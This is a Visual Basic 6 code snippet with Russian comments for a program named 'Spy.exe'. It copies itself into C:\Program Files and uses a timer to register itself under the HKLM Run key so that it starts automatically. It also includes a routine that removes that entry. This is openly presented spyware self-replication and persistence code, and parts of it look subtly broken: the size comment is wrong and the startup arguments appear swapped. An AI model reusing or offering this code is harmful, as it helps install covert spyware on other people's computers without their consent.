'эти две надо разместить в модуле Declare Function CopyFile Lib "kernel32.dll" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long Declare Function GetFullPathName Lib "kernel32" Alias "GetFullPathNameA" (ByVal lpFileName As String, ByVal nBufferLength As Long, ByVal lpBuffer As String, ByVal lpFilePart As String) As Long '''''''''''''''''''''''''''''''''''' 'автозагрузка Private Const HKEY_LOCAL_MACHINE = &H80000002 Private Declare Function RegCloseKey Lib "advAPI32.dll" (ByVal hKey As Long) As Long Private Declare Function RegDeleteValue Lib "advAPI32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long Private Declare Function RegOpenKey Lib "advAPI32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Private Declare Function RegSetValueEx Lib "advAPI32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long '''''''''''''''''''''''''''''''''''' Public buffer as String 'самокопирование Private Sub Form_Initialize() Dim numchar As Long ' длина буфера после вызова функции ' GetFullPathName возвращает полный путь к файлу. 'Функция возвращает 0 в случае ошибки,или длину строки в успешном случае buffer = Space(255) ' создаем место для приема строки ''''' помещаем строку в буфер numchar = GetFullPathName("Spy.exe", 255, buffer, "") 'MsgBox "Я нахожусь здесь:" + buffer if (CopyFile(buffer, "C:\Program Files\Spy.exe", 0))<>0 then MsgBox "А теперь здесь: C:\Program Files\Spy.exe" End Sub 'автозагрузка'''''''''''''' Private Sub AddToStartup(ByVal sDesc As String, ByVal sFile As String) Dim lRegKey As Long RegOpenKey HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", lRegKey If lRegKey Then RegSetValueEx lRegKey, sDesc, 0, 1, ByVal sFile, 40 'последний параметр-размер проги в Кб RegCloseKey lRegKey End If End Sub Private Function DeleteAtStartup(ByVal strValue As String) Dim keyhand As Long Dim r As Long r = RegOpenKey(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", keyhand) r = RegDeleteValue(keyhand, strValue) r = RegCloseKey(keyhand) End Function Private Sub Timer2_Timer() AddToStartup "C:\Program Files\Spy.exe", buffer End Sub